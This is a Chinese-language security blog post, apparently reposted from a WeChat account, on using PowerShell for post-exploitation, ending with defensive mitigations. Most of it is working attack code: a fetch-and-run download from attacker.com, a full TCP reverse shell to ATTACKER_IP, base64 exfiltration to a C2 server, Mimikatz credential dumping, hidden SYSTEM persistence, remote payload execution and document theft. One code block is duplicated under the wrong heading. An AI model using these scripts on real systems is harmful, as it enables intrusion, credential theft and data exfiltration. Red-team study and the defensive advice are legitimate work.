嘿大家!
如果您参与过红队测试、渗透测试,或者只是喜欢探索网络安全的进攻端,那么您的工具包里可能装满了 Metasploit、Cobalt Strike 等常用工具,或者一些自定义的 Python 脚本。但实际上,还有一个强大的工具经常潜伏在我们眼皮底下,几乎预装在每一个现代 Windows 系统上:PowerShell。
虽然有时人们会将其视为一个管理shell,或者更倾向于使用其他工具,但PowerShell实际上是一个极其强大的后漏洞利用框架。一旦获得初始访问权限,攻击者便可以“自给自足”,混入合法的管理任务,保持持久性,提升权限,窃取数据,并且经常绕过传统的安全控制措施,例如防病毒(AV)和端点检测与响应(EDR)解决方案。
本文深入探讨了 PowerShell 高效运行背后的原因,分析了红队成员常用的实用方法和实际脚本,并讨论了防御方需要注意的关键缓解策略。本指南将帮助您丰富 PowerShell 工具集,并深入了解基本的后漏洞利用方法。
准备好增强你的后漏洞利用能力了吗?让我们开始吧。
为什么 PowerShell 是后漏洞利用的强大工具
那么,是什么让 PowerShell 在众多黑客工具中脱颖而出呢?让我们来分析一下:
-
原生存在:这一点非常重要。PowerShell 内置于 Windows(Windows 7 及更高版本)。这意味着无需将额外的二进制文件拖放到目标系统上,从而显著降低了被安全解决方案检测到已知恶意可执行文件的风险。您使用的是已在工作站和服务器上安装的合法且已签名的 Microsoft 工具。
-
灵活性和强大功能: PowerShell 不仅仅是一个命令行工具;它是基于 .NET Framework 构建的成熟脚本语言。它让您可以直接访问各种系统功能:WMI(Windows 管理规范)、COM 对象、Windows API、注册表、文件系统操作、网络通信——等等。PowerShell 的多功能性使其几乎适用于任何后漏洞利用任务。
-
内存执行: PowerShell 允许脚本和命令直接在内存中执行,而无需将其写入磁盘。使用Invoke-Expression (IEX)with DownloadString( IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')) 等技术是攻击者常用的隐秘下载和运行有效载荷的方法。
-
AV 规避潜力:虽然 PowerShell 并非万无一失(尤其是在 AMSI(反恶意软件扫描接口)等技术进步的背景下),但其无文件运行的能力,加上混淆技术,通常可以绕过基于签名的 AV 检测。它还可以混入合法的管理流量中,使行为检测更加困难。许多安全产品由于其合法用途而将 PowerShell 的执行列入白名单。
-
远程管理功能: PowerShell Remoting(WinRM)等功能提供了在远程机器上执行命令的内置机制,无需部署额外的工具即可促进跨网络的横向移动。
常见的 PowerShell 后利用技术
一旦获得初始访问权限和 PowerShell 提示符(即使是非特权提示符),真正的乐趣就开始了。以下是一些核心的后渗透活动,PowerShell 在这方面表现突出:
脚本执行疑难解答#
如果由于执行策略限制而遇到运行 PowerShell 脚本的问题,请运行以下命令:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
此命令仅修改当前用户帐户的执行策略,允许脚本不受限制地运行。
1. 枚举系统信息(态势感知)#
了解情况至关重要。PowerShell 可以快速有效地收集信息:
-
系统信息: Get-ComputerInfo,Get-WmiObject Win32_OperatingSystem(提供操作系统版本、架构、RAM 等)
-
用户和组信息:Get-LocalUser,,,,,(显示登录用户)Get-LocalGroupwhoami /allquery userGet-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
-
网络配置: Get-NetIPConfiguration,,Get-NetIPAddress(Get-NetTCPConnection类似 netstat)
-
正在运行的进程: Get-Process
-
域信息(如果已加入域):需要 Active Directory 模块或自定义函数(例如 PowerSploit 的 PowerView)。使用 AD 模块的示例Get-ADComputer -Filter * | Select-Object Name,OperatingSystem:Get-ADUser -Filter * -Properties MemberOf | Select-Object Name,MemberOf
示例代码片段(网络信息):
# Get detailed IP configuration for all adaptersGet-NetIPConfiguration | Format-Table InterfaceAlias, InterfaceDescription, IPv4Address, IPv4DefaultGateway, DNSServer -AutoSize# Get active TCP connections and the process associated with themGet-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="ProcessName";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
2. 权限提升
拥有用户级访问权限?您通常需要管理员权限。PowerShell 可以帮助您识别和利用机会:
-
检查权限:Get-Acl在文件、文件夹、注册表项或服务上使用,以查找您可能滥用的弱权限(例如,对系统 PATH 中的目录的写访问权限)。
-
利用服务:查找权限较弱的服务(例如,修改权限)或未使用引号的服务路径Get-WmiObject Win32_Service | Select Name, State, PathName, StartMode。如果您可以修改二进制路径或权限,则可能会替换可执行文件或劫持 DLL。
-
绕过用户帐户控制 (UAC):许多技术利用特定的 Windows 进程或 COM 对象在高完整性上下文中执行命令,而不会触发 UAC 提示。虽然具体的绕过方法经常变化,但像 PowerSploit 的 PowerUp 模块 ( Invoke-AllChecks) 这样的工具可以自动搜索常见的错误配置和已知的 UAC 绕过向量。注意:依赖特定的绕过脚本(例如较旧的 mshta 方法)可能会不可靠,因为它们会被修补。
查找存储的凭据:脚本可以搜索注册表项、配置文件、浏览器数据或 PowerShell 历史记录以查找保存的密码或敏感数据。
3. 持久性机制
在重启或注销后保持访问权限至关重要。PowerShell 提供了几种方法来实现这一点:
-
计划任务:创建一个定期或在特定触发器(如用户登录或系统启动)上运行有效负载的任务。
# Example: Create a task to run a script daily at 9 AM$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:pathtoyourpayload.ps1"$Trigger = New-ScheduledTaskTrigger -Daily -At 9am# Register task to run as SYSTEM with highest privilegesRegister-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "MyPersistenceTask" -Description "Totally legit task." -User "SYSTEM" -RunLevel Highest
-
注册表运行键:向键添加条目,如HKCUSoftwareMicrosoftWindowsCurrentVersionRun(用户登录)或HKLMSoftwareMicrosoftWindowsCurrentVersionRun(系统启动,需要管理员)。
# Example: Add a Run key entry for current userNew-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" -Name "MyUpdater" -Value "powershell.exe -WindowStyle Hidden -File C:pathtoyourpayload.ps1" -PropertyType String
-
WMI 事件订阅:一种更隐蔽的技术,您可以创建 WMI 事件过滤器(例如,监控系统正常运行时间)以及一个在事件发生时执行 PowerShell 代码的消费者。这比标准的“运行”键或“计划任务”更复杂,但通常更难检测。
4. 命令与控制 (C2)通信
PowerShell 可用于建立和维护与 C2 服务器的通信渠道:
-
HTTP/HTTPS:使用Invoke-WebRequest对象System.Net.WebClient通过标准 Web 端口发送/接收数据,通常可以绕过简单的防火墙规则。非常适合信标和数据泄露。
# Example: Sending system info out via POST request$Data = Get-ComputerInfo | Out-String$EncodedData = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Data))Invoke-WebRequest -Uri http://your-c2-server.com/data_receiver -Method POST -Body @{id="compromised_host"; data=$EncodedData}
-
基本 TCP 反向 Shell:与攻击者控制的监听器建立直接 TCP 连接,以执行交互式命令。虽然操作简单,但经常被防火墙拦截,且容易被检测到。
# Example: Simple TCP Reverse Shell$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP', 4444) # Attacker listens on port 4444$stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush()}$client.Close()
-
DNS 隧道:在 DNS 请求中编码数据,即使直接 Web 访问被阻止,通常也能允许访问。需要专门的 C2 设置。
-
ICMP 隧道:虽然不太常见且经常被阻止,但 PowerShell 可以制作 ICMP 数据包来窃取少量数据。
Empire、PoshC2 和 Merlin 等框架大量利用 PowerShell 进行代理通信和任务执行。
实用的 PowerShell 脚本示例
1. 凭证转储(通过 Invoke-Mimikatz )
其功能:Mimikatz 因从内存中提取纯文本密码、哈希、Kerberos 票证等而闻名,主要针对 LSASS 进程。Invoke-Mimikatz是一个 PowerShell 脚本(PowerSploit 的一部分),它将 Mimikatz 反射 DLL 直接加载到内存中并执行其命令。
有效原因:避免将 Mimikatz 可执行文件丢弃到磁盘,使基本杀毒软件更难检测到。提供权限提升和横向移动所需的强大凭证访问权限。
如何使用它(概念):
# Assumes Invoke-Mimikatz.ps1 is hosted on your server or locally# Load the script into memoryIEX (New-Object Net.WebClient).DownloadString('http://your-server.com/Invoke-Mimikatz.ps1')# OR: Import-Module .Invoke-Mimikatz.ps1# Execute Mimikatz commands, e.g., dump creds from LSASSInvoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'
安全提示:运行 Mimikatz 很容易被现代 EDR 解决方案和 AMSI 检测到。它需要提升权限(管理员/系统),并且如果出现问题(罕见,但有可能),可能会破坏 LSASS 进程的稳定性。请务必先在实验室环境中进行测试。
2. 基本横向移动(通过 Invoke-Command )
-
功能:使用 WinRM(Windows 远程管理)在远程计算机上执行命令或脚本块,假设您拥有该机器的凭据并且 WinRM 已启用/配置。
-
有效性:使用原生 Windows 管理功能,使其看起来像合法的远程管理活动,并可能与正常的网络流量混合。
-
如何使用:
# You need credentials for the remote machine (e.g., dumped via Mimikatz)$Target = "TARGET_MACHINE_NAME_OR_IP"$Cred = Get-Credential # Prompts for username/password OR use obtained credentials# Example: Run whoami on the remote machineInvoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { whoami }# Example: Copy a payload and execute it remotelyCopy-Item -Path C:pathtopayload.exe -Destination \$TargetC$temppayload.exeInvoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { Start-Process C:temppayload.exe }
安全提示:需要在目标计算机上启用/配置有效的凭据和 WinRM。网络防火墙必须允许 WinRM 流量 (TCP 5985/5986)。如果启用了审计功能,操作通常会记录在目标计算机上。
3. 简单数据泄露(查找并压缩特定文件)
-
功能:搜索敏感文件(例如基于关键字或扩展名的文档),压缩它们并准备进行泄露。
-
为什么它有效:使用本机 PowerShell cmdlet 进行文件搜索和压缩(Compress-Archive需要 PowerShell v5+),减少对外部工具的依赖。
-
如何使用:
# You need credentials for the remote machine (e.g., dumped via Mimikatz)$Target = "TARGET_MACHINE_NAME_OR_IP"$Cred = Get-Credential # Prompts for username/password OR use obtained credentials# Example: Run whoami on the remote machineInvoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { whoami }# Example: Copy a payload and execute it remotelyCopy-Item -Path C:pathtopayload.exe -Destination \$TargetC$temppayload.exeInvoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { Start-Process C:temppayload.exe }
-
安全提示:需要在目标计算机上启用/配置有效的凭据和 WinRM。网络防火墙必须允许 WinRM 流量 (TCP 5985/5986)。如果启用了审计功能,操作通常会记录在目标计算机上。
3. 简单数据泄露(查找并压缩特定文件)
-
功能:搜索敏感文件(例如基于关键字或扩展名的文档),压缩它们并准备进行泄露。
-
为什么它有效:使用本机 PowerShell cmdlet 进行文件搜索和压缩(Compress-Archive需要 PowerShell v5+),减少对外部工具的依赖。
-
如何使用:
# Define search parameters$SearchPath = "C:Users"$FileTypes = @("*.docx", "*.xlsx", "*.pptx", "*.pdf", "*.txt") # Add relevant types$ZipPath = "C:tempstolen_docs.zip" # Choose a less obvious path/name# Find files (can be noisy and time-consuming)$FilesToZip = Get-ChildItem -Path $SearchPath -Include $FileTypes -Recurse -ErrorAction SilentlyContinueif ($FilesToZip) { try { # Compress files (Requires PowerShell v5+) Compress-Archive -Path $FilesToZip.FullName -DestinationPath $ZipPath -Force -ErrorAction Stop Write-Host "Files zipped to $ZipPath" # Add exfiltration step here (e.g., using Invoke-WebRequest as shown in C2 section) # $EncodedZip = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($ZipPath)) # Invoke-WebRequest -Uri http://your-c2/upload -Method POST -Body @{file=$EncodedZip} # Clean up the zip file (optional, but good practice) # Remove-Item $ZipPath -Force } catch { Write-Warning "Error during zipping or exfiltration: $($_.Exception.Message)" }} else { Write-Host "No matching files found."}
-
安全提示:大文件搜索和压缩可能会耗费大量资源,并触发性能警报或 EDR 启发式检测。通过 HTTP/DNS 进行的数据泄露可以通过网络监控(DLP、代理日志)检测到。请以负责任且合乎道德的方式处理敏感数据。
缓解和防御:防范恶意 PowerShell
好了,蓝队和防守队员们,我们该如何应对呢?防御 PowerShell 滥用需要采取分层方法:
1、PowerShell 日志记录:这很关键。启用并集中日志:
-
模块日志记录(事件 ID 4103):记录管道执行细节,包括去混淆脚本的片段。可能比较冗长,但很有用。
-
脚本块日志记录(事件 ID 4104):在反混淆后,记录脚本块在编译/执行过程中的完整内容。这对于准确查看代码运行情况非常有用。此外,它还能捕获交互式命令。
-
转录:将 PowerShell 会话的完整输入和输出保存到文本文件(可能占用大量资源)。
-
集中日志:将这些日志转发到 SIEM 进行分析、关联和可疑模式警报。
2、执行策略:虽然它并非安全边界-ExecutionPolicy Bypass(很容易通过其他方式绕过),但将其设置为组策略RemoteSigned或AllSigned通过组策略设置可以阻止用户随意运行从互联网下载的未签名脚本。Restricted(客户端默认设置)效果更好,但通常不切实际。建议将其Set-ExecutionPolicy RemoteSigned -Scope LocalMachine作为基准,但不要仅仅依赖它来确保安全。
3、受限语言模式:当 PowerShell 在此模式下运行时(例如,由 AppLocker/WDAC 策略或 JEA 强制执行),它会严重限制对敏感语言元素(如 .NET 脚本、COM 对象和许多 Windows API)的访问,从而有效地削弱许多高级攻击技术。
4、应用程序控制 (AppLocker/WDAC):配置策略以根据路径、哈希或发布者规则定义允许运行的脚本和可执行文件。这可以明确阻止未经授权的 PowerShell 脚本,或将 PowerShell 本身限制为仅运行特定的签名脚本。
5、反恶意软件扫描接口 (AMSI):确保您的 AV/EDR 解决方案与 AMSI 正确集成。此接口允许安全工具检查脚本内容(在内存中,执行前),即使脚本内容经过混淆或无文件处理。虽然攻击者确实拥有 AMSI 绕过技术,但这大大提高了安全门槛。
6、足够的管理 (JEA):配置特定端点,管理员使用高度限制的基于角色的 PowerShell 会话进行连接,这些会话仅授予其任务所需的最低权限,通常在临时的低权限虚拟帐户下运行。
7、端点检测和响应 (EDR):现代 EDR 解决方案至关重要。它们监控进程执行链(例如,Word 生成的 PowerShell)、命令行参数(查找 Base64 编码、IEX)DownloadString、网络连接、异常 API 调用以及行为模式,以检测可疑的 PowerShell 活动。
8、最小特权原则:严格执行。确保用户甚至管理员只拥有其角色所需的必要权限。这可以限制帐户被盗用时的影响,并减少权限提升的机会。
总结
不可否认,PowerShell 是一把双刃剑。对于管理员来说,它是一款必不可少的自动化和管理工具。而对于攻击者来说,它是一款强大、隐秘、内置的后漏洞利用框架,是“自食其力”的理想之选。
了解如何利用 PowerShell 进行攻击,对于希望精进攻击技巧的红队成员和旨在构建强大防御的蓝队成员都至关重要。通过实施分层防御策略(包括强大的日志记录、应用程序控制、受限语言模式、JEA 和现代 EDR 解决方案),组织可以显著检测、缓解和应对恶意使用 PowerShell 带来的风险。
原文始发于微信公众号(Ots安全):PowerShell:黑客后渗透中的利器与防御策略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论